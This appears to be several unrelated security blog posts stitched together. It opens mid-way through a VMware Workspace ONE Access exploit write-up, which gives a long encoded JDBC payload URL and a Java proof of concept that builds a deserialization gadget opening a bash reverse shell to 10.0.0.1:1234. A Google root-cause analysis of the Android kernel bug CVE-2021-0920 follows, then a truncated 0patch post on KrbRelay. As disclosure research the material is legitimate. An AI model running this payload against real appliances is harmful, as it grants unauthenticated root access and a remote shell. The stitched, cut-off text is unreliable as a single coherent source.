jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAACwQAAAAIUhcrRObG2UIAAAAQoz1rm0A08QaIZG2jKm3PvgAACuBO%252Bkf56P3LYUtlxM%252Fd9BtAjxDOFJAiL9KmHfk1p01I544KCUNyVi2UpONDLJHejQCbZi20R8JW3zg879309FDfjSabzvJ2PxvJafQqei8egUOn32BJngdb1r0jwJ8rrxsheJQc3BXJny6pma9pHciqmjJUioTfyKousm%252Fk8YiId8nFu0IX2yQS3GkvV%252FUHCz06KusffoQatuTOL465%252BChdQG88W9FGawgr7Pc9TzZTDZoy%252Bel83sU9hFqcW0oaDgQGtvsVjovnL71fsbQ2ik4C0p8lKxgGRamJmZKl5UvrWpgbOoi5ueTPvr2RgsvyrYno%252Bg3EghzuYjfgdG5owEIPAbHY39mgsjnFR5VZlJR6xmeEkadeGYfvhv%252FU9X57N6a3jmUvCpd50a96GQawp%252BmnfNx5hvp7z%252BjKuSecJ9ruTClM7P9XnU0hspHYgPIXk085Vhdh0P%252BECl%252F7pAAq0rZVEittj43DZhRDbvjqnEbd%252FvueXUK3e0Ld7PZ5oZa055dPxI7uw9FPYMEGnq6WLjFAyZT13QrnITd7uESJE82ZCgDLT7V81UHv3E9DPFPsryRITA9wAu4EycM4aGlh%252FcJzmxKCG%252Fcrt9FvzeQd4SGxhOK7i2I%252B4OUy8mjKgDh4dajVM8cVEogVqnyPWCP7ZYJsPrUlx2F6lhGo53%252BuBQzMzu2IerBZRVeE43CsxfBW1073y8FRYxX8A8w%252BaGikZUcanJ6T%252FfW0z7ENfTTXJYzt%252BNaEsZo5Q2FTeOgzg9%252BLE9d64w7P4SZ5HjIl4xnji2KjUZ2%252FGzzRhSxbsy3EyHvWJurBaNx1mOuYReexqHe7Va1mKjJHizU88T9kn6IVc8yCO9npFl%252Bh4uLAiruwHCC0YZK4O%252F%252BmfOb%252Fb3WescghMkp2s%252FxMe4bfjeomQWqzobztKry32vWM%252BovpDJHbOlTANviW50AzaXCVjGF10Ch86XAsHyiEpb44CzaMSWXV%252BfnQFw%252FRgY9uhv%252FUoUtxZs%252FmOpzSxgywFUNGaC1%252FoMXWmqJ5pne2fO2tH3EYyLhBIbK4GpTY5vzC8yRqYAyVW6LgkK%252FLZerScwc49NjWLZXMYOr9bsH2Ed2TEoy5sYUnMPmN19%252FZQqYWO2N1UaCV1D7F9V3z6fKRuhq0EyNj5RvXg%252BdUz%252FBuUzoju7Rbky1dYg3mQr4AbX94bi%252FLK5mdWlPcavJJlmBJGpxClGQmE%252BxpW2WVrQtAOGJrlcC0oTJSbe8ynPWoXbhqW3uXsNU2r5a2axQgNJfQDGomgtViDeqARbMrAoicMHIUH%252B1GDv9tLwaKMcBJC48ENoUrUfaFn68S9pFesqvjzvMB0Q%252BLmiXF9pfO02fVG5FWuMwouEYANrbnbL7MiPqoGPTwS6547LJh%252BScQ4dYc1Ga%252Bqfxh0NCXSfeetVdY7w7rilctRpe%252Fgchj6Q7SAK2%252BcX%252B0qlozTXdBhYvCOgWoXf5OYelsPJp%252BYPylKJyKC4v1fPskeZic8SA5EPKBQGmcwP09BmwD6J7t9GFMyvnxgl1Zlr5EggDqT7QXW0RhH4e%252FM7Jjhp4D%252F%252F1y8nfEfM23MqrRSZ%252B33P5xMXrbA7SgUbaC8fFlma85xpcaS1VBvs4%252FvUNs5Wsl9D2hAsiiBFu3vQiGXJVsB7KmV8Vuh2shiD8Akq5R2%252F3oSb1t%252BLm0ZcIP4MYLtvGkyfBXj81C3KKKNta4tZTpZW7MfeiXo%252FMoorn06fxlh7elFoPYLZ5eA7DB0jwBtUJ1Ay4xNgL24DnQlIwWkTrZJvdIzs0zTvFv3yYvgq4CaNwDDBbGdYufSRULnI8BAJgedXQqVkV9a3W4nK%252FYCMyczUZ%252FI2Nsslf4zqb3s1RJltGAPsHoR7YjKC1iZG1b%252BYGSN%252FyCW6RZJGxESArr3a1pcNndQUIzabKjIotYOFtMdrAdF9xXKNcMYN8qdFhAJ6PUkS%252FRuu%252F7YxM9xzpN9%252Br4JuuwnO8P6n4l9mib8J6ElX1GXw5Tc7MpdVcW%252BUqkKRLICuh1H5f53E8MO4ESJ2Ku56xvNZyJ0Ai2LDzumgORDeVJa4BLrUgeRkTZqOkYdRWHXrFTTP9HFgXobAQqj75nRkpFEQMEzbKSjdQAU%252B%252Bq2730wMh5LuVRui7HUPnvUCZDpkgDr9GDMGJitt%252FU6RtHqQmYB%252B%252FpFLr7m3g1tazYHvEyrQjBKdhv2FfijNtYaskJqkqPx3uRMSy%252F5l6wmQQlwbOTGXlAdUtVfKpO537dXFOofuN%252BuzIAQdXaLRddhE7fFhhrMwQXuj1jCDi70d%252FWBsy6lHxephuN5ANcl3IuGhx4MV0XRbZpt4MpGqJ2eZM18UCyk%252Fg4a%252Bgp0eRQWgA3KPJ9pZJiGk8EBFBeqsu2Y%252BIcVjGLKzghcdPpsBt3ef1TKUO0DZbS2RLMvA1dtq1vxGYuAIMHJ%252BxREAwSywn7ON9RqrF56hS91rlYJfBjPC%252FSurUVD98wa9WjqygmVsiI78QzExmrAmstUz5WsvLFl%252BoYKR%252FRLKYtjihNvFaSPYkbRNJ1GzKL0ZOXMyDJ3KcPeSkJa13vbJqmBO1JAuG8sfuRXjmaYNWdXI%252Bb%252Bkhs4V5o9IYnehTZgj4LHS7idmBjbWskldTDZHxofnnGKZenTPzbfsCzDKaGg5evEO6qpk%252FegKKK6ORyfxulQB0%252B5wzl0Z1TW3eLuRzi8jeo%252Fx3OOqgbLIqnfWFFfhezTnSYYBJdVEC4hwRksjZ9AReieEKYeZyqb1Hybg4w3q1H2I16iH4ku5R%252FCJnZBHcgPRZniF1Bohq79vgyJs9MAsfTwc%252F%252BAXUBbV8DnfdxoWwzLms6cqP2Bcuu86qORtOE4K5fNMEvYAy30%252FE70zdZoNMS%252BOsb0Lbl1cuxVpuwza0herBOLDBNlPMbi90pQ7Mt6OA7VwCiUW3TsdivLEPYKBQ3q5a5R0DEScmh5Y9BGYxgwXKfACbTjXHkrCcGLwSxTvEFJ4sjTxa%252By3rgVjWTXaRy91GRfcoNouIBmY%252FDj1ilIYPRBTP23a9IdO4M%252F4R%252FLlX454wJksnuTu6sTID7G1ELvBHCyFxjMAl0meovxnI1uZ6PuWDaC5ax4WIeG2PodvqHKdRLbU0OzmD8XyjdxY4c%252F%252FJQRl85xQ8LdlgWMrTTIlWy6jf0Z2ERwc5Oi7DK5WMZD9p2b3lARlNgo0LORSenjefQkIjAqEXXLpRYTAeJXmHJiK3iCnrNO2R8QmdujTPQthLQaAnoDuHf7Mt1iWnUTuwYv9e64ndK7lZ3%252FBjb4MYssgc9PavSz9tAP00jZXZbq%252BM2zl2AukG0IMtunNv86dO%252BlekCjSgv%252BGH7KxNa5Yb1dlvR62c2vhE8U%252Bq%252BEU7CR4Z8lfJoAYrHMcWqlerIdc44GskzJVKb4LbpLqCMQFx3Gh%252Fq%252FwuwguPLDiQCNnyta5d9QO3aoY4BkzimWshsgyJzesREag3YehFjvfUSl%252B2Ytn5J2aHZmx3tOPrh1fa6480lb%252BWC%252Bex40M4RjPXOQKxB07UWUvumml%252BYwA8jqCcwhz0n2gHUsFHq4UovgBlETV9r7uOTX6hDHO5ztgca6c1KUINt1LA2EzFd6Hedjzx5%252FjVJb8SyviMQl4SyCeyPRS8FMGkPda8oGAiPGyc99tcQg6XItDYG0XIw%252BN59tQ8Pvfx9EBM1TOcP7NGWb7LdZixcDnLDBw77kVwxJEvcGZ2sTqIG7VdZvNsGupRwLqqeLkEpQM4%253D

Note that your payload will need to double encode special characters. To generate the state string, I re-used VMWare’s classes:

import com.vmware.licensecheck.LicenseChecker;
import com.vmware.licensecheck.LicenseHandle;
import com.vmware.licensecheck.MyBase64;
import ysoserial.payloads.ObjectPayload.Utils;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Hashtable;
import java.io.*;

public class Poc {
    public static void main(String[] args) throws Exception {
        String shell = MyBase64.encode("bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\"".getBytes());
        Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c $@|sh . echo echo %s|base64 -d|bash", shell));
        LicenseChecker lc = new LicenseChecker(null);
        Field handleField = LicenseChecker.class.getDeclaredField("_handle");
        handleField.setAccessible(true);
        LicenseHandle lh = (LicenseHandle)handleField.get(lc);
        Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart");
        htEvalStartField.setAccessible(true);
        Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty");
        isDirtyField.setAccessible(true);
        Hashtable<Integer, Object> ht = new Hashtable<Integer, Object>();
        ht.put(1337, payload);
        htEvalStartField.set(lh, ht);
        isDirtyField.set(lh, true);
        handleField.set(lc, lh);
        String payload = URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8");
        System.out.println(String.format("(+) jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%%26socketFactoryArg=%s", payload));
    }
}

I have included the licensecheck-1.1.5.jar library in the exploit directory so that the exploit can be re-built and replicated. It should be noted that the first connection to a PostgreSQL database doesn’t need to be established for the attack to succeed so an invalid host/port is perfectly fine. Details about this attack and others similar to it can be found in the excellent blog post by Xu Yuanzhen.

The final point I will make about this is that the LicenseChecker class could have also been used to exploit CVE-2021-21985 since the licensecheck-1.1.5.jar library was loaded into the target vCenter process coupled with publicly available gadget chains.

publishCaCert and gatherConfig Privilege Escalation

This exploit was straight forward and involved overwriting the permissions of the certproxyService.sh script so that it can be modified by the horizon user.

Proof of Concept

I built three exploits called Hekate (that’s pronounced as heh-ka-teh). The first exploit leverages the MySQL JDBC driver and the second exploit leverages the PostgreSQL JDBC driver. Both exploits target the server and client sides, requiring an outbound connection to the attacker.

The third exploit leverages the PostgreSQL JDBC driver again, this time re-using the com.vmware.licensecheck.* classes and avoids any outbound network connections to the attacker. This is the exploit that was demonstrated at Black Hat USA 2022.

All three exploits can be downloaded here: https://github.com/sourceincite/hekate/.

Server-side	Client-side

All the vulnerabilities used in Hekate also impacted the cloud version of the VMWare Workspace ONE Access in its default configuration.

Exposure

Using a quick favicon hash search, Shodan reveals ~700 active hosts were vulnerable at the time of discovery. Although the exposure is limited, the systems impacted are highly critical. An attacker will be able to gain access to third party systems, grant assertions and breach the perimeter of an enterprise network all of which can’t be done with your run-of-the-mill exposed IoT device.

Conclusion

The limitations of CVE-2020-4006 was that it required authentication and it was targeting port 8443. In comparison, this attack chain targets port 443 which is much more likely exposed externally. Additionally, no authentication was required all whilst achieving root access making it quite disastrous and results in the complete compromise of the affected appliance. Finally, it can be exploited in a variety of ways such as client-side or server-side without the requirement of a deserialization gadget.

References

1. https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
2. https://landgrey.me/blog/11/
3. https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu+Yuanzhen & Chen Hongkun.pdf
4. https://github.com/su18/JDBC-Attack
5. https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/
6. https://pyn3rd.github.io/2022/06/02/Make-JDBC-Attacks-Brilliant-Again/

A deep dive into an in-the-wild Android exploit

Guest Post by Xingyu Jin, Android Security Research

This is part one of a two-part guest blog post, where first we'll look at the root cause of the CVE-2021-0920 vulnerability. In the second post, we'll dive into the in-the-wild 0-day exploitation of the vulnerability and post-compromise modules.

Overview of in-the-wild CVE-2021-0920 exploits

A surveillance vendor named Wintego has developed an exploit for Linux socket syscall 0-day, CVE-2021-0920, and used it in the wild since at least November 2020 based on the earliest captured sample, until the issue was fixed in November 2021.  Combined with Chrome and Samsung browser exploits, the vendor was able to remotely root Samsung devices. The fix was released with the November 2021 Android Security Bulletin, and applied to Samsung devices in Samsung's December 2021 security update.

Google's Threat Analysis Group (TAG) discovered Samsung browser exploit chains being used in the wild. TAG then performed root cause analysis and discovered that this vulnerability, CVE-2021-0920, was being used to escape the sandbox and elevate privileges. CVE-2021-0920 was reported to Linux/Android anonymously. The Google Android Security Team performed the full deep-dive analysis of the exploit.

This issue was initially discovered in 2016 by a RedHat kernel developer and disclosed in a public email thread, but the Linux kernel community did not patch the issue until it was re-reported in 2021.

Various Samsung devices were targeted, including the Samsung S10 and S20. By abusing an ephemeral race condition in Linux kernel garbage collection, the exploit code was able to obtain a use-after-free (UAF) in a kernel sk_buff object. The in-the-wild sample could effectively circumvent CONFIG_ARM64_UAO, achieve arbitrary read / write primitives and bypass Samsung RKP to elevate to root. Other Android devices were also vulnerable, but we did not find any exploit samples against them.

Text extracted from captured samples dubbed the vulnerability “quantum Linux kernel garbage collection”, which appears to be a fitting title for this blogpost.

Introduction

CVE-2021-0920 is a use-after-free (UAF) due to a race condition in the garbage collection system for SCM_RIGHTS. SCM_RIGHTS is a control message that allows unix-domain sockets to transmit an open file descriptor from one process to another. In other words, the sender transmits a file descriptor and the receiver then obtains a file descriptor from the sender. This passing of file descriptors adds complexity to reference-counting file structs. To account for this, the Linux kernel community designed a special garbage collection system. CVE-2021-0920 is a vulnerability within this garbage collection system. By winning a race condition during the garbage collection process, an adversary can exploit the UAF on the socket buffer, sk_buff object. In the following sections, we’ll explain the SCM_RIGHTS garbage collection system and the details of the vulnerability. The analysis is based on the Linux 4.14 kernel.

What is SCM_RIGHTS?

Linux developers can share file descriptors (fd) from one process to another using the SCM_RIGHTS datagram with the sendmsg syscall. When a process passes a file descriptor to another process, SCM_RIGHTS will add a reference to the underlying file struct. This means that the process that is sending the file descriptors can immediately close the file descriptor on their end, even if the receiving process has not yet accepted and taken ownership of the file descriptors. When the file descriptors are in the “queued” state (meaning the sender has passed the fd and then closed it, but the receiver has not yet accepted the fd and taken ownership), specialized garbage collection is needed. To track this “queued” state, this LWN article does a great job explaining SCM_RIGHTS reference counting, and it's recommended reading before continuing on with this blogpost.

Sending

As stated previously, a unix domain socket uses the syscall sendmsg to send a file descriptor to another socket. To explain the reference counting that occurs during SCM_RIGHTS, we’ll start from the sender’s point of view. We start with the kernel function unix_stream_sendmsg, which implements the sendmsg syscall. To implement the SCM_RIGHTS functionality, the kernel uses the structure scm_fp_list for managing all the transmitted file structures. scm_fp_list stores the list of file pointers to be passed.

unix_stream_sendmsg invokes scm_send (af_unix.c#L1886) to initialize the scm_fp_list structure, linked by the scm_cookie structure on the stack.

To be more specific, scm_send → __scm_send → scm_fp_copy (scm.c#L68) reads the file descriptors from the userspace and initializes scm_cookie->fp which can contain SCM_MAX_FD file structures.

Since the Linux kernel uses the sk_buff (also known as socket buffers or skb) object to manage all types of socket datagrams, the kernel also needs to invoke the unix_scm_to_skb function to link the scm_cookie->fp to a corresponding skb object. This occurs in unix_attach_fds (scm.c#L103):

The scm_fp_dup call in unix_attach_fds increases the reference count of the file descriptor that’s being passed so the file is still valid even after the sender closes the transmitted file descriptor later:

Let’s examine a concrete example. Assume we have sockets A and B. The A attempts to pass itself to B. After the SCM_RIGHTS datagram is sent, the newly allocated skb from the sender will be appended to the B’s sk_receive_queue which stores received datagrams:

sk_buff carries scm_fp_list structure

The reference count of A is incremented to 2 and the reference count of B is still 1.

Receiving

Now, let’s take a look at the receiver side unix_stream_read_generic (we will not discuss the MSG_PEEK flag yet, and focus on the normal routine). First of all, the kernel grabs the current skb from sk_receive_queue using skb_peek. Secondly, since scm_fp_list is attached to the skb, the kernel will call unix_detach_fds (link) to parse the transmitted file structures from skb and clear the skb from sk_receive_queue:

The function scm_detach_fds iterates over the list of passed file descriptors (scm->fp) and installs the new file descriptors accordingly for the receiver:

Once the file descriptors have been installed, __scm_destroy (link) cleans up the allocated scm->fp and decrements the file reference count for every transmitted file structure:

Reference Counting and Inflight Counting

As mentioned above, when a file descriptor is passed using SCM_RIGHTS, its reference count is immediately incremented. Once the recipient socket has accepted and installed the passed file descriptor, the reference count is then decremented. The complication comes from the “middle” of this operation: after the file descriptor has been sent, but before the receiver has accepted and installed the file descriptor.

Let’s consider the following scenario:

1. The process creates sockets A and B.
2. A sends socket A to socket B.
3. B sends socket B to socket A.
4. Close A.
5. Close B.

Scenario for reference count cycle

Both sockets are closed prior to accepting the passed file descriptors.The reference counts of A and B are both 1 and can't be further decremented because they were removed from the kernel fd table when the respective processes closed them. Therefore the kernel is unable to release the two skbs and sock structures and an unbreakable cycle is formed. The Linux kernel garbage collection system is designed to prevent memory exhaustion in this particular scenario. The inflight count was implemented to identify potential garbage. Each time the reference count is increased due to an SCM_RIGHTS datagram being sent, the inflight count will also be incremented.

When a file descriptor is sent by SCM_RIGHTS datagram, the Linux kernel puts its unix_sock into a global list gc_inflight_list. The kernel increments unix_tot_inflight which counts the total number of inflight sockets. Then, the kernel increments u->inflight which tracks the inflight count for each individual file descriptor in the unix_inflight function (scm.c#L45) invoked from unix_attach_fds:

Thus, here is what the sk_buff looks like when transferring a file descriptor within sockets A and B:

The inflight count of A is incremented

When the socket file descriptor is received from the other side, the unix_sock.inflight count will be decremented.

Let’s revisit the reference count cycle scenario before the close syscall. This cycle is breakable because any socket files can receive the transmitted file and break the reference cycle: 

Breakable cycle before close A and B

After closing both of the file descriptors, the reference count equals the inflight count for each of the socket file descriptors, which is a sign of possible garbage:

Unbreakable cycle after close A and B

Now, let’s check another example. Assume we have sockets A, B and 𝛼:

1. A sends socket A to socket B.
2. B sends socket B to socket A.
3. B sends socket B to socket 𝛼.
4. 𝛼 sends socket 𝛼 to socket B.
5. Close A.
6. Close B.

Breakable cycle for A, B and 𝛼

The cycle is breakable, because we can get newly installed file descriptor B’ from the socket file descriptor 𝛼 and newly installed file descriptor A' from B’.

Garbage Collection

A high level view of garbage collection is available from lwn.net:

"If, instead, the two counts are equal, that file structure might be part of an unreachable cycle. To determine whether that is the case, the kernel finds the set of all in-flight Unix-domain sockets for which all references are contained in SCM_RIGHTS datagrams (for which f_count and inflight are equal, in other words). It then counts how many references to each of those sockets come from SCM_RIGHTS datagrams attached to sockets in this set. Any socket that has references coming from outside the set is reachable and can be removed from the set. If it is reachable, and if there are any SCM_RIGHTS datagrams waiting to be consumed attached to it, the files contained within that datagram are also reachable and can be removed from the set.

At the end of an iterative process, the kernel may find itself with a set of in-flight Unix-domain sockets that are only referenced by unconsumed (and unconsumable) SCM_RIGHTS datagrams; at this point, it has a cycle of file structures holding the only references to each other. Removing those datagrams from the queue, releasing the references they hold, and discarding them will break the cycle."

To be more specific, the SCM_RIGHTS garbage collection system was developed in order to handle the unbreakable reference cycles. To identify which file descriptors are a part of unbreakable cycles:

1. Add any unix_sock objects whose reference count equals its inflight count to the gc_candidates list.
2. Determine if the socket is referenced by any sockets outside of the gc_candidates list. If it is then it is reachable, remove it and any sockets it references from the gc_candidates list. Repeat until no more reachable sockets are found.
3. After this iterative process, only sockets who are solely referenced by other sockets within the gc_candidates list are left.

Let’s take a closer look at how this garbage collection process works. First, the kernel finds all the unix_sock objects whose reference counts equals their inflight count and puts them into the gc_candidates list (garbage.c#L242):

Next, the kernel removes any sockets that are referenced by other sockets outside of the current gc_candidates list. To do this, the kernel invokes scan_children (garbage.c#138) along with the function pointer dec_inflight to iterate through each candidate’s sk->receive_queue. It decreases the inflight count for each of the passed file descriptors that are themselves candidates for garbage collection (garbage.c#L261):

After iterating through all the candidates, if a gc candidate still has a positive inflight count it means that it is referenced by objects outside of the gc_candidates list and therefore is reachable. These candidates should not be included in the gc_candidates list so the related inflight counts need to be restored.

To do this, the kernel will put the candidate to not_cycle_list instead and iterates through its receiver queue of each transmitted file in the gc_candidates list (garbage.c#L281) and increments the inflight count back. The entire process is done recursively, in order for the garbage collection to avoid purging reachable sockets:

Now gc_candidates contains only “garbage”. The kernel restores original inflight counts from gc_candidates, moves candidates from not_cycle_list back to gc_inflight_list and invokes __skb_queue_purge for cleaning up garbage (garbage.c#L306).

__skb_queue_purge clears every skb from the receiver queue:

There are two ways to trigger the garbage collection process:

1. wait_for_unix_gc is invoked at the beginning of the sendmsg function if there are more than 16,000 inflight sockets
2. When a socket file is released by the kernel (i.e., a file descriptor is closed), the kernel will directly invoke unix_gc.

Note that unix_gc is not preemptive. If garbage collection is already in process, the kernel will not perform another unix_gc invocation.

Now, let’s check this example (a breakable cycle) with a pair of sockets f00 and f01, and a single socket 𝛼:

1. Socket f 00 sends socket f 00 to socket f 01.
2. Socket f 01 sends socket f 01 to socket 𝛼.
3. Close f 00.
4. Close f 01.

Before starting the garbage collection process, the status of socket file descriptors are:

• f 00: ref = 1, inflight = 1
• f 01: ref = 1, inflight = 1
• 𝛼: ref = 1, inflight = 0

Breakable cycle by f 00, f 01 and 𝛼

During the garbage collection process, f 00 and f 01 are considered garbage candidates. The inflight count of f 00 is dropped to zero, but the count of f 01 is still 1 because 𝛼 is not a candidate. Thus, the kernel will restore the inflight count from f 01’s receive queue. As a result, f 00 and f 01 are not treated as garbage anymore.

CVE-2021-0920 Root Cause Analysis

When a user receives SCM_RIGHTS message from recvmsg without the MSG_PEEK flag, the kernel will wait until the garbage collection process finishes if it is in progress. However, if the MSG_PEEK flag is on, the kernel will increment the reference count of the transmitted file structures without synchronizing with any ongoing garbage collection process. This may lead to inconsistency of the internal garbage collection state, making the garbage collector mark a non-garbage sock object as garbage to purge.

recvmsg without MSG_PEEK flag

The kernel function unix_stream_read_generic (af_unix.c#L2290) parses the SCM_RIGHTS message and manages the file inflight count when the MSG_PEEK flag is NOT set. Then, the function unix_stream_read_generic calls unix_detach_fds to decrement the inflight count. Then, unix_detach_fds clears the list of passed file descriptors (scm_fp_list) from the skb:

The unix_notinflight from unix_detach_fds will reverse the effect of unix_inflight by decrementing the inflight count:

Later skb_unlink and consume_skb are invoked from unix_stream_read_generic (af_unix.c#2451) to destroy the current skb. Following the call chain kfree(skb)->__kfree_skb, the kernel will invoke the function pointer skb->destructor (code) which redirects to unix_destruct_scm:

In fact, the unix_detach_fds will not be invoked again here from unix_destruct_scm because UNIXCB(skb).fp is already cleared by unix_detach_fds. Finally, fd_install(new_fd, get_file(fp[i])) from scm_detach_fds is invoked for installing a new file descriptor.

recvmsg with MSG_PEEK flag

The recvmsg process is different if the MSG_PEEK flag is set. The MSG_PEEK flag is used during receive to “peek” at the message, but the data is treated as unread. unix_stream_read_generic will invoke scm_fp_dup instead of unix_detach_fds. This increases the reference count of the inflight file (af_unix.c#2149):

Because the data should be treated as unread, the skb is not unlinked and consumed when the MSG_PEEK flag is set. However, the receiver will still get a new file descriptor for the inflight socket.

recvmsg Examples

Let’s see a concrete example. Assume there are the following socket pairs:

• f 00, f 01
• f 10, f 11

Now, the program does the following operations:

• f 00 → [f 00] → f 01 (means f 00 sends [f 00] to f 01)
• f 10 → [f 00] → f 11
• Close(f 00)

Breakable cycle by f 00, f 01, f 10 and f 11

Here is the status:

• inflight(f 00) = 2, ref(f 00) = 2
• inflight(f 01) = 0, ref(f 01) = 1
• inflight(f 10) = 0, ref(f 10) = 1
• inflight(f 11) = 0, ref(f 11) = 1

If the garbage collection process happens now, before any recvmsg calls, the kernel will choose f 00 as the garbage candidate. However, f 00 will not have the inflight count altered and the kernel will not purge any garbage.

If f 01 then calls recvmsg with MSG_PEEK flag, the receive queue doesn’t change and the inflight counts are not decremented. f 01 gets a new file descriptor f 00' which increments the reference count on f 00:

MSG_PEEK increment the reference count of f 00 while the receive queue is not cleared

Status:

• inflight(f 00) = 2, ref(f 00) = 3
• inflight(f 01) = 0, ref(f 01) = 1
• inflight(f 10) = 0, ref(f 10) = 1
• inflight(f 11) = 0, ref(f 11) = 1

Then, f 01 calls recvmsg without MSG_PEEK flag, f 01’s receive queue is removed. f 01 also fetches a new file descriptor f 00'':

The receive queue of f 01 is cleared and f 01'' is obtained from f 01

Status:

• inflight(f 00) = 1, ref(f 00) = 3
• inflight(f 01) = 0, ref(f 01) = 1
• inflight(f 10) = 0, ref(f 10) = 1
• inflight(f 11) = 0, ref(f 11) = 1

UAF Scenario

From a very high level perspective, the internal state of Linux garbage collection can be non-deterministic because MSG_PEEK is not synchronized with the garbage collector. There is a race condition where the garbage collector can treat an inflight socket as a garbage candidate while the file reference is incremented at the same time during the MSG_PEEK receive. As a consequence, the garbage collector may purge the candidate, freeing the socket buffer, while a receiver may install the file descriptor, leading to a UAF on the skb object.

Let’s see how the captured 0-day sample triggers the bug step by step (simplified version, in reality you may need more threads working together, but it should demonstrate the core idea). First of all, the sample allocates the following socket pairs and single socket 𝛼:

• f 00, f 01
• f 10, f 11
• f 20, f 21
• f 30, f 31
• sock 𝛼 (actually there might be even thousands of 𝛼 for protracting the garbage collection process in order to evade a BUG_ON check which will be introduced later).

Now, the program does the below operations:

Close the following file descriptors prior to any recvmsg calls:

• Close(f 00)
• Close(f 01)
• Close(f 11)
• Close(f 10)
• Close(f 30)
• Close(f 31)
• Close(𝛼)

Here is the status:

• inflight(f 00) = N + 1, ref(f 00) = N + 1
• inflight(f 01) = 2, ref(f 01) = 2
• inflight(f 10) = 3, ref(f 10) = 3
• inflight(f 11) = 1, ref(f 11) = 1
• inflight(f 20) = 0, ref(f 20) = 1
• inflight(f 21) = 0, ref(f 21) = 1
• inflight(f 31) = 1, ref(f 31) = 1
• inflight(𝛼) = 1, ref(𝛼) = 1

If the garbage collection process happens now, the kernel will do the following scrutiny:

• List f 00, f 01, f 10,  f 11, f 31, 𝛼 as garbage candidates. Decrease inflight count for the candidate children in each receive queue.
• Since f 21 is not considered a candidate, f 11’s inflight count is still above zero.
• Recursively restore the inflight count.
• Nothing is considered garbage.

A potential skb UAF by race condition can be triggered by:

1. Call recvmsg with MSG_PEEK flag from f 21 to get f 11’.
2. Call recvmsg with MSG_PEEK flag from f 11 to get f 10’.
3. Concurrently do the following operations:

1. Call recvmsg without MSG_PEEK flag from f 11 to get f 10’’.
2. Call recvmsg with MSG_PEEK flag from f 10’

How is it possible? Let’s see a case where the race condition is not hit so there is no UAF:

However, if the second recvmsg occurs just after stage 1 of the garbage collection process, the UAF is triggered:

Therefore, the race condition causes a UAF of the skb object. At first glance, we should blame the second recvmsg syscall because it clears skb.fp, the passed file list. However, if the first recvmsg syscall doesn’t set the MSG_PEEK flag, the UAF can be avoided because unix_notinflight is serialized with the garbage collection. In other words, the kernel makes sure the garbage collection is either not processed or finished before decrementing the inflight count and removing the skb. After unix_notinflight, the receiver obtains f11' and inflight sockets don't form an unbreakable cycle.

Since MSG_PEEK is not serialized with the garbage collection, when recvmsg is called with MSG_PEEK set, the kernel still considers f 11 as a garbage candidate. For this reason, the following next recvmsg will eventually trigger the bug due to the inconsistent state of the garbage collection process.

Patch Analysis

CVE-2021-0920 was found in 2016

The vulnerability was initially reported to the Linux kernel community in 2016. The researcher also provided the correct patch advice but it was not accepted by the Linux kernel community:

Patch was not applied in 2016

In theory, anyone who saw this patch might come up with an exploit against the faulty garbage collector.

Patch in 2021

Let’s check the official patch for CVE-2021-0920. For the MSG_PEEK branch, it requests the garbage collection lock unix_gc_lock before performing sensitive actions and immediately releases it afterwards:

The patch is confusing - it’s rare to see such lock usage in software development. Regardless, the MSG_PEEK flag now waits for the completion of the garbage collector, so the UAF issue is resolved.

BUG_ON Added in 2017

Andrey Ulanov from Google in 2017 found another issue in unix_gc and provided a fix commit. Additionally, the patch added a BUG_ON for the inflight count:

At first glance, it seems that the BUG_ON can prevent CVE-2021-0920 from being exploitable. However, if the exploit code can delay garbage collection by crafting a large amount of fake garbage,  it can waive the BUG_ON check by heap spray.

New Garbage Collection Discovered in 2021

CVE-2021-4083 deserves an honorable mention: when I discussed CVE-2021-0920 with Jann Horn and Ben Hawkes, Jann found another issue in the garbage collection, described in the Project Zero blog post Racing against the clock -- hitting a tiny kernel race window.

Part I Conclusion

To recap, we have discussed the kernel internals of SCM_RIGHTS and the designs and implementations of the Linux kernel garbage collector. Besides, we have analyzed the behavior of MSG_PEEK flag with the recvmsg syscall and how it leads to a kernel UAF by a subtle and arcane race condition.

The bug was spotted in 2016 publicly, but unfortunately the Linux kernel community did not accept the patch at that time. Any threat actors who saw the public email thread may have a chance to develop an LPE exploit against the Linux kernel.

In part two, we'll look at how the vulnerability was exploited and the functionalities of the post compromise modules.

by Mitja Kolsek, the 0patch Team

Update 10/21/2022: Microsoft silently fixed this issue with October 2022 Updates. No CVE ID was assigned.

"KrbRelay" is a tool for forced authentication issue in Windows that can be used by a low-privileged domain user to take over a Windows computer, potentially becoming a local or domain admin within minutes. The tool, based on James Forshaw's research, was developed by security researcher cube0x0, and was later wrapped by Mor Davidovich into another tool called "KrbRelayUp" that further automated attack steps for escalating privileges.

KrbRelay provides various options to launch different versions of attack; some of these options were already known under the name RemotePotato0, for which we already had patches before. What was new for us with KrbRelay was its capability to launch a local service (running in session 0) via RPC and exploit it for leaking Local System credentials through forced authentication. In order to be exploitable, a service must allow authentication over the network, and just two such services were identified on affected Windows versions:

1. ActiveX Installer Service, identified by CLSID 90f18417-f0f1-484e-9d3c-59dceee5dbd8; and
2. RemoteAppLifetimeManager.exe, identified by CLSID 0bae55fc-479f-45c2-972e-e951be72c0c1.

Microsoft does not fix forced authentication issues unless an attack can be mounted anonymously. Our customers unfortunately can't all disable relevant services or implement mitigations without breaking production, so it is on us to provide them with such patches.

For the purpose of identifying vulnerabilities we decided to name the vulnerability exposing the above services "KrbRelay", as other attack vectors provided by the tool were already blocked by our existing patches for RemotePotato0. We decided to inject our patch logic at the point where a local unprivileged attacker launches the exploitable service, because such patch would be fairly simple - and we like it simple: it's harder to make mistakes.

Our patch, source code shown below, resides in rpcss.dll and checks whether someone is trying to launch one of the above services via RPC; in such case, if the requestor's token is elevated, we allow it, otherwise not. This is the same approach as we used with patching RemotePotato0.

Micropatch Availability

